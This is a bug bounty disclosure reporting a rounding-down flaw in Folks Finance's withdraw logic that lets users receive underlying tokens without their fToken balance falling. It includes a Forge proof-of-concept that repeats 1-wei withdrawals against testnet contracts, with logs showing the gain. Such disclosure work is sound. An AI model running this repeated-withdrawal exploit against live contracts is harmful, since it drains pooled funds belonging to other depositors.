Boost _ Folks Finance 33923 - [Smart Contract - Low] Function HubPoolLogicupdateWithWithdraw doesnt round up in favour of protocol if isFAmount false

Submitted on Thu Aug 01 2024 20:25:45 GMT-0400 (Atlantic Standard Time) by @Paludo0x for Boost | Folks Finance

Report ID: #33923

Report type: Smart Contract

Report severity: Low

Target: https://testnet.snowtrace.io/address/0x96e957bF63B5361C5A2F45C97C46B8090f2745C2

Impacts:

• Protocol insolvency

Description

Brief/Intro

Function HubPoolLogic::updateWithWithdraw() doesn't round up in favour of protocol if isFAmount == false. This implies that users will receive more underlying tokens than they should due to rounding errors.

Vulnerability Details

Function HubPoolLogic::updateWithWithdraw() is called by LoanManager::executeWithdraw() to calculate underlying and fAmount to be withdrawn.

This is the function snippet

    function updateWithWithdraw(
        HubPoolState.PoolData storage pool,
        uint256 amount,
        bool isFAmount
    ) external returns (DataTypes.WithdrawPoolParams memory withdrawPoolParams) {
        // can withdraw even if pool is depreciated
        // update interest indexes before the interest rates change
        pool.updateInterestIndexes();

        if (isFAmount) {
            withdrawPoolParams.fAmount = amount;
            withdrawPoolParams.underlingAmount = amount.toUnderlingAmount(pool.depositData.interestIndex);
        } else {
            withdrawPoolParams.underlingAmount = amount;
            withdrawPoolParams.fAmount = amount.toFAmount(pool.depositData.interestIndex);
        }

        pool.depositData.totalAmount -= withdrawPoolParams.underlingAmount;
        pool.updateInterestRates();
    }

In case isFAmount == false the fAmount is calculated as follows:

   function toFAmount(uint256 underlyingAmount, uint256 depositInterestIndexAtT) internal pure returns (uint256) {
        return underlyingAmount.mulDiv(ONE_18_DP, depositInterestIndexAtT);
    }

Since depositInterestIndexAtT is always grater than ONE_18_DP the fAmount will be rounded down.

That means pool.depositData.totalAmount -= withdrawPoolParams.underlingAmount; will be decreased by the amount required by the user while loan.collaterals[poolId].balance -= fAmount; will be decreased by a smaller amount.

Impact Details

This bug can be exploited by a malicious user by withdrawing 1 wei in a for loop, or even in the long run by all users which carry out multiple withdrawals of deposited funds.

Proof of concept

POC

The following POC shall be run in Forge. The aim is to check the user and pool balances after withdrawal of 1 wei.

This test forks mainnet, and starts from a withdrawal onchain transaction. This is the transaction https://testnet.snowtrace.io/tx/0xbc7c3f5d5447d7a40c741f92a8e789c8ad588b618d699cffea29e091955e81a4?chainid=43113

The POC shall be run with the following command: forge test --match-test test_withdraw_1_wei --fork-url https://api.avax-test.network/ext/bc/C/rpc --fork-block-number 35147412 -vv --via-ir --optimizer-runs 10000

// SPDX-License-Identifier: BUSL-1.1
pragma solidity >=0.5.0 <0.9.0;

import "..//lib/openzeppelin-contracts/lib/forge-std/src/Test.sol";
import {SpokeCommon} from "../contracts/spoke/SpokeCommon.sol";
import {HubPoolLogic} from "../contracts/hub/logic/HubPoolLogic.sol";
import "../contracts/hub/LoanManager.sol";
import {BridgeRouterHub} from "../contracts/bridge/BridgeRouterHub.sol";
import "../contracts/hub/HubNonBridgedTokenPool.sol";


contract WithdrawTest is Test {

  SpokeCommon immutable avaxSpokeCommon = SpokeCommon(0x6628cE08b54e9C8358bE94f716D93AdDcca45b00);
  BridgeRouterHub immutable bridgeRouterHub = BridgeRouterHub(0xa9491a1f4f058832e5742b76eE3f1F1fD7bb6837);
  LoanManager immutable avaxLoanManager = LoanManager(0x2cAa1315bd676FbecABFC3195000c642f503f1C9);
  HubNonBridgedTokenPool immutable avaxHubNonBridgedTokenPool = HubNonBridgedTokenPool(0xd90B7614551E799Cdef87463143eCe2efd4054f9);
  address immutable userAddress = 0xD24DbB11D2869D27bd09Bcf7326a3108B78F42bf; 

  function setUp() public { 
    vm.label(address(avaxSpokeCommon), "avaxSpokeCommon");
    vm.label(address(bridgeRouterHub), "bridgeRouterHub");
    vm.label(address(userAddress), "userAddress");
    vm.label(address(avaxHubNonBridgedTokenPool), "avaxHubNonBridgedTokenPool");
  }

  //forge test --match-test test_withdraw_1_wei --fork-url https://api.avax-test.network/ext/bc/C/rpc --fork-block-number 35147412 -vvvvv
  //Copied transaction https://testnet.snowtrace.io/tx/0xbc7c3f5d5447d7a40c741f92a8e789c8ad588b618d699cffea29e091955e81a4?chainid=43113
  function test_withdraw_1_wei() external  {
    bytes32 accountId = 0x3c9db9e514e887a1c99a8f1d7ab7bbf734a7ab5fb55398d5632ad6d24e71c7f8;
    bytes32 loanId = 0x1079207bbaa94b74d8501bae5559ebb1660dff434fa330f590265652e13466df;

    //we set user balance to 0
    deal(userAddress,0);
    console2.log("User Initial Balance", userAddress.balance);
  

        (
        //bytes32 accountId,
       , //uint16 loanTypeId,
       , //uint8[] memory colPools,
       , //uint8[] memory borPools,
       , LoanManagerState.UserLoanCollateral[] memory loanCollateral,
        ///UserLoanBorrow[] memory
    ) =  avaxLoanManager.getUserLoan(loanId);
    console2.log("User initial fAmount balance %e", loanCollateral[0].balance);

    HubPoolState.DepositData memory poolDepositTemp = avaxHubNonBridgedTokenPool.getDepositData();
    console2.log("Pool initial deposit total amount %e", poolDepositTemp.totalAmount);

    Messages.MessageParams memory params = Messages.MessageParams({
        adapterId: 0x0000000000000000000000000000000000000000000000000000000000000001,
        returnAdapterId: 0x0000000000000000000000000000000000000000000000000000000000000001, 
        receiverValue: 0x0000000000000000000000000000000000000000000000000000000000000000,
        gasLimit: 0x0000000000000000000000000000000000000000000000000000000000000000,
        returnGasLimit: 0x0000000000000000000000000000000000000000000000000000000000000000
    });

    vm.startPrank(userAddress);
    //we iterate the withdrawal of 1 wei
    for(uint256 i ; i<4e3; i++)
      avaxSpokeCommon.withdraw( 
          params,
          accountId, //account ID
          loanId, // loanId
          129, //poolId
          1, // chainId,
          1, // amount,
          false // isFAmount
      );

    console2.log("User final Balance", userAddress.balance);

    (  , , , , loanCollateral,  ) =  avaxLoanManager.getUserLoan(loanId);
    console2.log("User final fAmount balance %e", loanCollateral[0].balance);

    poolDepositTemp = avaxHubNonBridgedTokenPool.getDepositData();
    console2.log("Pool final deposit total amount %e", poolDepositTemp.totalAmount);

  }
}

This is the console output. The amount of underlying token received back by user increases, the pool amount decreases, while the user fToken amount doesn't change.

[PASS] test_withdraw_1_wei() (gas: 845444793)
Logs:
  User Initial Balance 0
  User initial fAmount balance 9.9948666910183675e16
  Pool initial deposit total amount 2.029690866072611417037e21
  User final Balance 4000
  User final fAmount balance 9.9948666910183675e16
  Pool final deposit total amount 2.029690866072611413037e21